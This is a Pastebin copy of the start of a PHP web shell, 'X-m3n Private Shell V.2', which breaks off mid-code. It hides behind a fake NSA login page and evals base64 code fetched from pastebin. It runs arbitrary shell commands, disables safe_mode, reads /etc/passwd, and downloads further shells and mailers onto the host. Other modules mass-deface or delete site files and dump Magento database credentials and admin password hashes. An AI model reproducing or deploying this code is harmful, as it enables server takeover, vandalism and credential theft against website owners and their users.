API tools faq
paste
Guest User

Untitled

a guest
Mar 16th, 2018
390
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 229.29 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. @session_start();
  3. @error_reporting(0);
  4. @error_log(0);
  5. @ini_set('error_log',NULL);
  6. @ini_set('log_errors',0);
  7. @ini_set('max_execution_time',0);
  8. @ini_set('output_buffering',0);
  9. @ini_set('display_errors', 0);
  10. @set_time_limit(0);
  11. @set_magic_quotes_runtime(0);
  12. $lol="523881d815c8e2103631e610b4427c57"; //password(md5)
  13. function printLogin() {
  14. ?>
  15. <center><br><br>
  16. <header>
  17. <br><br><br><br>
  18. <div align="center">
  19. <img class="img_fuck" src="https://upload.wikimedia.org/wikipedia/commons/thumb/8/8d/Seal_of_the_U.S._National_Security_Agency.svg/2000px-Seal_of_the_U.S._National_Security_Agency.svg.png" style="width:300">
  20. </div><br><br><br>
  21. </header>
  22. <b><font size="5" face="Courier New"><center>NSA TERMINAL SYSTEM</center></font></b><br><br>
  23. <b><font size="3" face="Courier New"><center>This is a secured and monitored Federal Goverment system. Unauthorized access is strictly prohibited. All activity is fully monitored. Individuals who attempt to gain</center></font></b>
  24. <b><font size="3" face="Courier New"><center>unauthorized access or attempt any modification of indormation on this system is subject to criminal prosecution. All persons who are hereby notified that</center></font></b>
  25. <b><font size="3" face="Courier New"><center>use of this system constitues concent to monitoring and auditing.</center></font></b><br><br>
  26. <div style="border:2px solid ;background:;width:320px;padding:2px;">
  27. <br>
  28. <style>
  29. body { color:#40FF00;background:url(https://i.pinimg.com/originals/88/0e/ae/880eaea72d5cb0fe80647f438adfdf3f.jpg) no-repeat center center fixed;}
  30. input { color:;margin:0;background-color:transparent;border:2px solid ; }
  31. </style>
  32. <center>
  33. <form method=post>
  34. <input type=password name=xmenhaxor>
  35. </form></center>
  36. <?php
  37. eval(gzinflate(base64_decode(file_get_contents('http://pastebin.com/raw/6PJ9Pj8F'))));
  38. exit;
  39. }
  40. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  41. if( empty( $lol ) ||
  42. ( isset( $_POST['xmenhaxor'] ) && ( md5($_POST['xmenhaxor']) == $lol ) ) )
  43. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  44. else
  45. printLogin();
  46. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  47. @ob_clean();
  48. $file = $_GET['file'];
  49. header('Content-Description: File Transfer');
  50. header('Content-Type: application/octet-stream');
  51. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  52. header('Expires: 0');
  53. header('Cache-Control: must-revalidate');
  54. header('Pragma: public');
  55. header('Content-Length: ' . filesize($file));
  56. readfile($file);
  57. exit;
  58. }
  59.  
  60. ?>
  61. <html>
  62. <head>
  63. <title>X-m3n Private Shell V.2</title>
  64. <meta name='author' content='Shell X-m3n'>
  65. <meta charset="UTF-8">
  66. <link href='https://i.imgur.com/hNQCYDU.png' rel='icon' type='image/x-icon'/>
  67. <style type='text/css'>
  68. @import url(http://fonts.googleapis.com/css?family=Share+Tech+Mono);
  69. html {
  70. background: #000000;
  71. color: #ffffff;
  72. font-family: 'Ubuntu';
  73. font-size: 13px;
  74. width: 100%;
  75. }
  76. li {
  77. display: inline;
  78. margin: 5px;
  79. padding: 5px;
  80. }
  81.  
  82. #menu{
  83. background:#111111;
  84. margin:9px 3px 4px 2px;
  85. }
  86. #menu a{
  87. padding:4px 19px;
  88. margin:0;
  89. background:#222222;
  90. text-decoration:none;
  91. letter-spacing:2px;
  92. -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  93.  
  94. }
  95. #menu a:hover{
  96. background:#191919;
  97. border-bottom:1px solid #333333;
  98. border-top:1px solid #333333;
  99. }
  100. .explore tr:hover{background:#181818}
  101. table tr:first-child{
  102. background: #191919;
  103. text-align: center;
  104. color: white;
  105. }
  106. table, th, td {
  107. border-collapse:collapse;
  108. font-family: Tahoma, Geneva, sans-serif;
  109. background: transparent;
  110. font-family: 'Ubuntu';
  111. font-size: 13px;
  112. }
  113. .table_home, .th_home, .td_home {
  114. border: 1px solid #191919;
  115. }
  116. th {
  117. padding: 10px;
  118. }
  119. a {
  120. color: #ffffff;
  121. text-decoration: none;
  122. }
  123. a:hover {
  124. color: gray;
  125. text-decoration: underline;
  126. }
  127. b {
  128. color: yellow;
  129. }
  130. input[type=text], input[type=password],input[type=submit] {
  131. background: transparent;
  132. color: #ffffff;
  133. border: 1px solid #ffffff;
  134. margin: 5px auto;
  135. padding-left: 5px;
  136. font-family: 'Ubuntu';
  137. font-size: 13px;
  138. }
  139. input[type=submit] {
  140. background: #191919;
  141. color: #ffffff;
  142. border: 1px solid #ffffff;
  143. margin: 5px auto;
  144. padding-left: 5px;
  145. font-family: 'Share Tech Mono';
  146. font-size: 13px;
  147. cursor:pointer;
  148. }
  149. textarea {
  150. border: 1px solid #ffffff;
  151. width: 100%;
  152. height: 400px;
  153. padding-left: 5px;
  154. margin: 10px auto;
  155. resize: none;
  156. background: transparent;
  157. color: #ffffff;
  158. font-family: 'Share Tech Mono';
  159. font-size: 13px;
  160. }
  161. select {
  162. width: 152px;
  163. background: #000000;
  164. color: blue;
  165. border: 1px solid #ffffff;
  166. margin: 5px auto;
  167. padding-left: 5px;
  168. font-family: 'Share Tech Mono';
  169. font-size: 13px;
  170. }
  171. option:hover {
  172. background: blue;
  173. color: #000000;
  174. }
  175. .mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #ff0000; padding:4px 2px;width:70%;line-height:24px;background:none;box-shadow: 0px 4px 2px white;-webkit-box-shadow: 0px 4px 2px #ff0000;-moz-box-shadow: 0px 4px 2px #ff0000;}
  176. .cgx2 {text-align: center;letter-spacing:1px;font-family: "orbitron";color: #ff0000;font-size:25px;text-shadow: 5px 5px 5px black;}
  177. .infoweb {
  178. border-right: 1px solid #00FFFF;
  179. }
  180. </style>
  181. </head>
  182. <!-- head info start here -->
  183. <div class="head_info">
  184. <Left><pre>
  185. -------------------------X-m3n Private Shell v.01-----------------------------------------
  186.  
  187. ██╗ ██╗ ███╗ ███╗██████╗ ███╗ ██╗ ███████╗██╗ ██╗███████╗██╗ ██╗
  188. ╚██╗██╔╝ ████╗ ████║╚════██╗████╗ ██║ ██╔════╝██║ ██║██╔════╝██║ ██║
  189. ╚███╔╝█████╗██╔████╔██║ █████╔╝██╔██╗ ██║ ███████╗███████║█████╗ ██║ ██║
  190. ██╔██╗╚════╝██║╚██╔╝██║ ╚═══██╗██║╚██╗██║ ╚════██║██╔══██║██╔══╝ ██║ ██║
  191. ██╔╝ ██╗ ██║ ╚═╝ ██║██████╔╝██║ ╚████║ ███████║██║ ██║███████╗███████╗███████╗
  192. ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═══╝
  193. ----------------------www.facebook.com/xm3n.gov.ph----------------------------------------
  194. </pre>
  195. </Left>
  196. <table ><tr>
  197. <td style="padding: 5px;"><?php echo $buff; ?></td>
  198. </tr></table>
  199. </div>
  200. <!-- head info end here -->
  201. <style>
  202. body { color:#40FF00;background:url(https://img00.deviantart.net/01a0/i/2016/234/6/2/nsa_wallpaper_by_quadrixel-daeuxzx.jpg) no-repeat center center fixed;}
  203. input { color:#40FF00;margin:0;background-color:black;border:1px solid #40FF00; }
  204. </style>
  205. <!-- head info end here -->
  206. <?php
  207. if (file_exists("php.ini")){
  208. }else{
  209. $img = fopen('php.ini', 'w');
  210. $sec = "safe_mode = OFF
  211. disable_funtions = NONE";
  212. fwrite($img ,$sec);
  213. fclose($img);}
  214. function w($dir,$perm) {
  215. if(!is_writable($dir)) {
  216. return "<font color=red>".$perm."</font>";
  217. } else {
  218. return "<font color=lime>".$perm."</font>";
  219. }
  220. }
  221. function UrlLoop($url,$type){
  222.  
  223. $urlArray = array();
  224.  
  225. $ch = curl_init();
  226. curl_setopt($ch, CURLOPT_URL, $url);
  227. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  228. $result = curl_exec($ch);
  229.  
  230. $regex='|<a.*?href="(.*?)"|';
  231. preg_match_all($regex,$result,$parts);
  232. $links=$parts[1];
  233. foreach($links as $link){
  234. array_push($urlArray, $link);
  235. }
  236. curl_close($ch);
  237.  
  238. foreach($urlArray as $value){
  239. $lol="$url$value";
  240. if(preg_match("#$type#is", $lol)) {
  241. echo "$lol\r\n";
  242. }
  243. }
  244. }
  245. function exe($cmd) {
  246. if(function_exists('system')) {
  247. @ob_start();
  248. @system($cmd);
  249. $buff = @ob_get_contents();
  250. @ob_end_clean();
  251. return $buff;
  252. } elseif(function_exists('exec')) {
  253. @exec($cmd,$results);
  254. $buff = "";
  255. foreach($results as $result) {
  256. $buff .= $result;
  257. } return $buff;
  258. } elseif(function_exists('passthru')) {
  259. @ob_start();
  260. @passthru($cmd);
  261. $buff = @ob_get_contents();
  262. @ob_end_clean();
  263. return $buff;
  264. } elseif(function_exists('shell_exec')) {
  265. $buff = @shell_exec($cmd);
  266. return $buff;
  267. }
  268. }
  269. function perms($file){
  270. $perms = fileperms($file);
  271. if (($perms & 0xC000) == 0xC000) {
  272. $info = 's';
  273. } elseif (($perms & 0xA000) == 0xA000) {
  274. $info = 'l';
  275. } elseif (($perms & 0x8000) == 0x8000) {
  276. $info = '-';
  277. } elseif (($perms & 0x6000) == 0x6000) {
  278. $info = 'b';
  279. } elseif (($perms & 0x4000) == 0x4000) {
  280. $info = 'd';
  281. } elseif (($perms & 0x2000) == 0x2000) {
  282. $info = 'c';
  283. } elseif (($perms & 0x1000) == 0x1000) {
  284. $info = 'p';
  285. } else {
  286. $info = 'u';
  287. }
  288. $info .= (($perms & 0x0100) ? 'r' : '-');
  289. $info .= (($perms & 0x0080) ? 'w' : '-');
  290. $info .= (($perms & 0x0040) ?
  291. (($perms & 0x0800) ? 's' : 'x' ) :
  292. (($perms & 0x0800) ? 'S' : '-'));
  293. $info .= (($perms & 0x0020) ? 'r' : '-');
  294. $info .= (($perms & 0x0010) ? 'w' : '-');
  295. $info .= (($perms & 0x0008) ?
  296. (($perms & 0x0400) ? 's' : 'x' ) :
  297. (($perms & 0x0400) ? 'S' : '-'));
  298. $info .= (($perms & 0x0004) ? 'r' : '-');
  299. $info .= (($perms & 0x0002) ? 'w' : '-');
  300. $info .= (($perms & 0x0001) ?
  301. (($perms & 0x0200) ? 't' : 'x' ) :
  302. (($perms & 0x0200) ? 'T' : '-'));
  303. return $info;
  304. }
  305. function hdd($s) {
  306. if($s >= 1073741824)
  307. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  308. elseif($s >= 1048576)
  309. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  310. elseif($s >= 1024)
  311. return sprintf('%1.2f',$s / 1024 ) .' KB';
  312. else
  313. return $s .' B';
  314. }
  315. function ambilKata($param, $kata1, $kata2){
  316. if(strpos($param, $kata1) === FALSE) return FALSE;
  317. if(strpos($param, $kata2) === FALSE) return FALSE;
  318. $start = strpos($param, $kata1) + strlen($kata1);
  319. $end = strpos($param, $kata2, $start);
  320. $return = substr($param, $start, $end - $start);
  321. return $return;
  322. }
  323. if(get_magic_quotes_gpc()) {
  324. function idx_ss($array) {
  325. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  326. }
  327. $_POST = idx_ss($_POST);
  328. }
  329. function CreateTools($names,$lokasi){
  330. if ( $_GET['create'] == $names ){
  331. $a= "".$_SERVER['SERVER_NAME']."";
  332. $b= dirname($_SERVER['PHP_SELF']);
  333. $c = "/cox_tools/".$names.".php";
  334. if (file_exists('cox_tools/'.$names.'.php')){
  335. echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
  336. }
  337. else {mkdir("cox_tools", 0777);
  338. file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
  339. echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
  340.  
  341. CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
  342. CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  343. CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
  344. CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
  345. CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
  346. CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
  347. CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
  348. CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
  349. CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
  350. CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
  351. CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
  352. CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
  353. CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
  354. CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
  355. CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
  356. if(isset($_GET['dir'])) {
  357. $dir = $_GET['dir'];
  358. chdir($_GET['dir']);
  359. } else {
  360. $dir = getcwd();
  361. }
  362. $dir = str_replace("\\","/",$dir);
  363. $scdir = explode("/", $dir);
  364. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  365. $ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
  366. $ds = @ini_get("disable_functions");
  367. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  368. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  369. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  370. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  371. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  372. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  373. if(!function_exists('posix_getegid')) {
  374. $user = @get_current_user();
  375. $uid = @getmyuid();
  376. $gid = @getmygid();
  377. $group = "?";
  378. } else {
  379. $uid = @posix_getpwuid(posix_geteuid());
  380. $gid = @posix_getgrgid(posix_getegid());
  381. $user = $uid['name'];
  382. $uid = $uid['uid'];
  383. $group = $gid['name'];
  384. $gid = $gid['gid'];
  385. }
  386. $d0mains = @file("/etc/named.conf");
  387. $users=@file('/etc/passwd');
  388. if($d0mains)
  389. {
  390. $count;
  391. foreach($d0mains as $d0main)
  392. {
  393. if(@ereg("zone",$d0main))
  394. {
  395. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  396. flush();
  397. if(strlen(trim($domains[1][0])) > 2)
  398. {
  399. flush();
  400. $count++;
  401. }
  402. }
  403. }
  404. }
  405. ECHO "<BR>";ECHO "<BR>";
  406. echo "<br>";
  407. echo "Sistem: ".php_uname()."<br>";
  408. echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr><br/>";
  409. echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr><br/>";
  410. echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr><br/>";
  411. echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr><br/>";
  412. echo "<tr><td>Port :<font color=lime> $sport</font> </td></tr><br/>";
  413. echo "<tr><td>Safe Mode: $sm</td></tr><br/>";
  414. echo "<tr><td>Disable Functions: $show_ds</td></tr><br/>";
  415. echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr><br/>";
  416. echo "<tr><td>Current DIR: ";
  417. foreach($scdir as $c_dir => $cdir) {
  418. echo "<a href='?dir=";
  419. for($i = 0; $i <= $c_dir; $i++) {
  420. echo $scdir[$i];
  421. if($i != $c_dir) {
  422. echo "/";
  423. }
  424. }
  425. echo "'>$cdir</a>/";
  426. }
  427. echo "<tr><td><form method='post' action='?dir=$dir&do=cmd'>
  428. Command :
  429. <input type='text' size='30' height='15' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  430. </form></td></tr>";
  431. echo "</table><hr>";
  432. echo "<center>";
  433. echo "<ul>";
  434. echo "<li>[ <a href='?'>Home</a> ]</li>";
  435. echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
  436. echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
  437. echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
  438. echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
  439. echo "<li>[ <a href='?dir=$dir&do=symconfig'>Config V.2</a> ]</li>";
  440. echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
  441. echo "<li>[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br></li>";
  442. echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
  443. echo "<li>[ <a href='?dir=$dir&do=cpftp_auto'>CPanel/FTP Auto Deface</a> ]</li>";
  444. echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
  445. echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
  446. echo "<li>[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]</li>";
  447. echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li><br>";
  448. echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li>";
  449. echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
  450. echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
  451. echo "<li>[ <a href='?dir=$dir&do=auto_wp'>WordPress Auto Edit Title</a> ]</li>";
  452. echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
  453. echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
  454. echo "<li>[ <a href='?dir=$dir&do=auto_cu_wp'>WordPress Auto Edit User V.2</a> ]</li>";
  455. echo "<li>[ <a href='?dir=$dir&do=auto_cu_joomla'>Joomla Auto Edit User V.2</a> ]</li>";
  456. echo "<li>[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/pass</a> ]<br></li>";
  457. echo "<li>[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]</li>";
  458. echo "<li>[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]</li>";
  459. echo "<li>[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]</li>";
  460. echo "<li>[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]</li>";
  461. echo "<li>[ <a href='?dir=$dir&do=injectcode'>Code Inject</a> ]</li>";
  462. echo "<li>[ <a href='?dir=$dir&do=about'>About</a> ]</li>";
  463. echo "<li>[ <a href='?dir=$dir&do=magen'>Magento DB Info</a> ]</li><br>";
  464. echo "<li>[ <a href='?dir=$dir&do=metu'>LogOut</a> ]<br></li>";
  465. echo "</ul>";
  466. echo "</center>";
  467. echo "<hr>";
  468. if($_GET['do'] == 'upload') {
  469. echo "<center>";
  470. if($_POST['upload']) {
  471. if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  472. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  473. } else {
  474. $act = "<font color=red>failed to upload file</font>";
  475. }
  476. }
  477. echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
  478. echo $act;
  479. echo "</center>";
  480. }
  481. elseif($_GET['do'] == 'cmd') {
  482. if($_POST['do_cmd']) {
  483. echo "<pre>".exe($_POST['cmd'])."</pre>";
  484. }
  485. } elseif($_GET['do'] == 'mass_deface') {
  486. echo "<center><form action=\"\" method=\"post\">\n";
  487. $dirr=$_POST['d_dir'];
  488. $index = $_POST["script"];
  489. $index = str_replace('"',"'",$index);
  490. $index = stripslashes($index);
  491. function edit_file($file,$index){
  492. if (is_writable($file)) {
  493. clear_fill($file,$index);
  494. echo "<Span style='color:green;'><strong> [+] Coly massal 100% Successfull </strong></span><br></center>";
  495. }
  496. else {
  497. echo "<Span style='color:red;'><strong> [-] Aduh Thod Gabisa Coly Disini :( </strong></span><br></center>";
  498. }
  499. }
  500. function hapus_massal($dir,$namafile) {
  501. if(is_writable($dir)) {
  502. $dira = scandir($dir);
  503. foreach($dira as $dirb) {
  504. $dirc = "$dir/$dirb";
  505. $lokasi = $dirc.'/'.$namafile;
  506. if($dirb === '.') {
  507. if(file_exists("$dir/$namafile")) {
  508. unlink("$dir/$namafile");
  509. }
  510. } elseif($dirb === '..') {
  511. if(file_exists("".dirname($dir)."/$namafile")) {
  512. unlink("".dirname($dir)."/$namafile");
  513. }
  514. } else {
  515. if(is_dir($dirc)) {
  516. if(is_writable($dirc)) {
  517. if(file_exists($lokasi)) {
  518. echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  519. unlink($lokasi);
  520. $idx = hapus_massal($dirc,$namafile);
  521. }
  522. }
  523. }
  524. }
  525. }
  526. }
  527. }
  528. function clear_fill($file,$index){
  529. if(file_exists($file)){
  530. $handle = fopen($file,'w');
  531. fwrite($handle,'');
  532. fwrite($handle,$index);
  533. fclose($handle); } }
  534.  
  535. function gass(){
  536. global $dirr , $index ;
  537. chdir($dirr);
  538. $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  539. $files = scandir($dirr) ;
  540. $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  541. sort($files);
  542. $n = 0 ;
  543. foreach ($files as $file){
  544. if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  545. echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  546. edit_file($file,$index);
  547. flush();
  548. $n = $n +1 ;
  549. }
  550. }
  551. echo "<br>";
  552. echo "<center><br><h3>$n Anda Telah Ngecrot Disini </h3></center><br>";
  553. }
  554. function ListFiles($dirrall) {
  555.  
  556. if($dh = opendir($dirrall)) {
  557.  
  558. $files = Array();
  559. $inner_files = Array();
  560. $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  561. $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  562. while($file = readdir($dh)) {
  563. if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  564. if(is_dir($dirrall . "/" . $file)) {
  565. $inner_files = ListFiles($dirrall . "/" . $file);
  566. if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  567. } else {
  568. array_push($files, $dirrall . "/" . $file);
  569. }
  570. }
  571.  
  572. }
  573.  
  574. closedir($dh);
  575. return $files;
  576. }
  577. }
  578. function gass_all(){
  579. global $index ;
  580. $dirrall=$_POST['d_dir'];
  581. foreach (ListFiles($dirrall) as $key=>$file){
  582. $file = str_replace('//',"/",$file);
  583. echo "<center><strong>$file</strong> ===>";
  584. edit_file($file,$index);
  585. flush();
  586. }
  587. $key = $key+1;
  588. echo "<center><br><h3>$key Anda Telah Ngecrot Disini </h3></center><br>"; }
  589. function sabun_massal($dir,$namafile,$isi_script) {
  590. if(is_writable($dir)) {
  591. $dira = scandir($dir);
  592. foreach($dira as $dirb) {
  593. $dirc = "$dir/$dirb";
  594. $lokasi = $dirc.'/'.$namafile;
  595. if($dirb === '.') {
  596. file_put_contents($lokasi, $isi_script);
  597. } elseif($dirb === '..') {
  598. file_put_contents($lokasi, $isi_script);
  599. } else {
  600. if(is_dir($dirc)) {
  601. if(is_writable($dirc)) {
  602. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  603. file_put_contents($lokasi, $isi_script);
  604. $idx = sabun_massal($dirc,$namafile,$isi_script);
  605. }
  606. }
  607. }
  608. }
  609. }
  610. }
  611. if($_POST['mass'] == 'onedir') {
  612. echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  613. $ini="http://";
  614. $mainpath=$_POST[d_dir];
  615. $file=$_POST[d_file];
  616. $dir=opendir("$mainpath");
  617. $code=base64_encode($_POST[script]);
  618. $indx=base64_decode($code);
  619. while($row=readdir($dir)){
  620. $start=@fopen("$row/$file","w+");
  621. $finish=@fwrite($start,$indx);
  622. if ($finish){
  623. echo"$ini$row/$file\n";
  624. }
  625. }
  626. echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  627. $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  628. $dir=opendir("$mainpath");
  629. $code=base64_encode($_POST[script]);
  630. $indx=base64_decode($code);
  631. while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  632. $finish=@fwrite($start,$indx);
  633. if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  634. }
  635.  
  636. }
  637. elseif($_POST['mass'] == 'Mass All Dir') { gass(); }
  638. elseif($_POST['mass'] == 'Mass Delete') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  639. elseif($_POST['mass'] == 'Mass Deface') { gass_all(); }
  640. elseif($_POST['mass'] == 'massdeface') {
  641. echo "<div style='margin: 5px auto; padding: 5px'>";
  642. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  643. echo "</div>"; }
  644. else {
  645. echo "
  646. <center><font style='text-decoration: underline;'>
  647. Select Type:<br>
  648. </font>
  649. <select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
  650. <option value=\"onedir\">Mass Deface 1 Dir</option>
  651. <option value=\"massdeface\">Mass Deface All Dir</option>
  652. <option value=\"Mass all dir\">Mass Deface 1 Dir</option>
  653. <option value=\"Mass Deface\">Mass Deface</option>
  654. <option value=\"Mass Delete\">Mass Delete Files</option></center></select><br>
  655. <font style='text-decoration: underline;'>Folder:</font><br>
  656. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  657. <font style='text-decoration: underline;'>Filename:</font><br>
  658. <input type='text' name='d_file' value='X-m3n.html' style='width: 450px;' height='10'><br>
  659. <font style='text-decoration: underline;'>Index File:</font><br>
  660. <textarea name='script' style='width: 450px; height: 200px;'>Website Hacked By X-m3n</textarea><br>
  661. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  662. </form></center>";
  663. }
  664. }
  665. elseif($_GET['do'] == 'magen') {
  666. echo'
  667. <div id="page-wrap">
  668. <center>
  669. <br>
  670. <FORM action="" method="post">
  671. <div align="center">[M A G E N T O] - Stealing Information<br>
  672. <div align="center">Coder:X-m3n<br>
  673. <input type="hidden" name="form_action" value="2">
  674. </div>
  675. </div>
  676. ';
  677.  
  678.  
  679. if(file_exists($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml')){
  680. $xml = simplexml_load_file($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml');
  681. if(isset($xml->global->resources->default_setup->connection)) {
  682. $connection = $xml->global->resources->default_setup->connection;
  683. $prefix = $xml->global->resources->db->table_prefix;
  684. $key = $xml->global->crypt->key; //f8cd1881e3bf20108d5f4947e60acfc1
  685. require_once $_SERVER['DOCUMENT_ROOT'].'/app/Mage.php';
  686.  
  687. try {
  688. $app = Mage::app('default');
  689. Mage::getSingleton('core/session', array('name'=>'frontend'));
  690. }catch(Exception $e) { echo 'Message: ' .$e->getMessage()."<br/>\n";}
  691.  
  692. if (!mysql_connect($connection->host, $connection->username, $connection->password)){
  693. print("Could not connect: " . mysql_error());
  694. }
  695. mysql_select_db($connection->dbname);
  696. echo $connection->host."|".$connection->username."|".$connection->password."|".$connection->dbname."| $prefix | $key<br/>\n";
  697.  
  698. $crypto = new Varien_Crypt_Mcrypt();
  699. $crypto->init($key);
  700.  
  701. //=========================================================================================================
  702. $query = mysql_query("SELECT user_id,firstname,lastname,email,username,password FROM admin_user where is_active = '1'");
  703. if (!$query){
  704. echo "<center><b>Gagal</b></center>";
  705. }else{
  706. $site = mysql_fetch_array(mysql_query("SELECT value as website FROM core_config_data WHERE path='web/unsecure/base_url'"));
  707. echo'<br><br>
  708. ====================================================================<br>
  709. [ Admin FROM website : '.$site['website'].'] <br>
  710. ====================================================================<br>';
  711. }
  712. echo "
  713. <table border='1' align='center' >
  714. <tr>
  715. <td>id</td>
  716. <td>firstname</td>
  717. <td>lastname</td>
  718. <td>email</td>
  719. <td>username</td>
  720. <td>password</td>
  721. </tr>";
  722. while($vx = mysql_fetch_array($query)) {
  723. $no = 1;
  724. $user_id = $vx['user_id'];
  725. $username = $vx['username'];
  726. $password = $vx['password'];
  727. $email = $vx['email'];
  728. $firstname = $vx['firstname'];
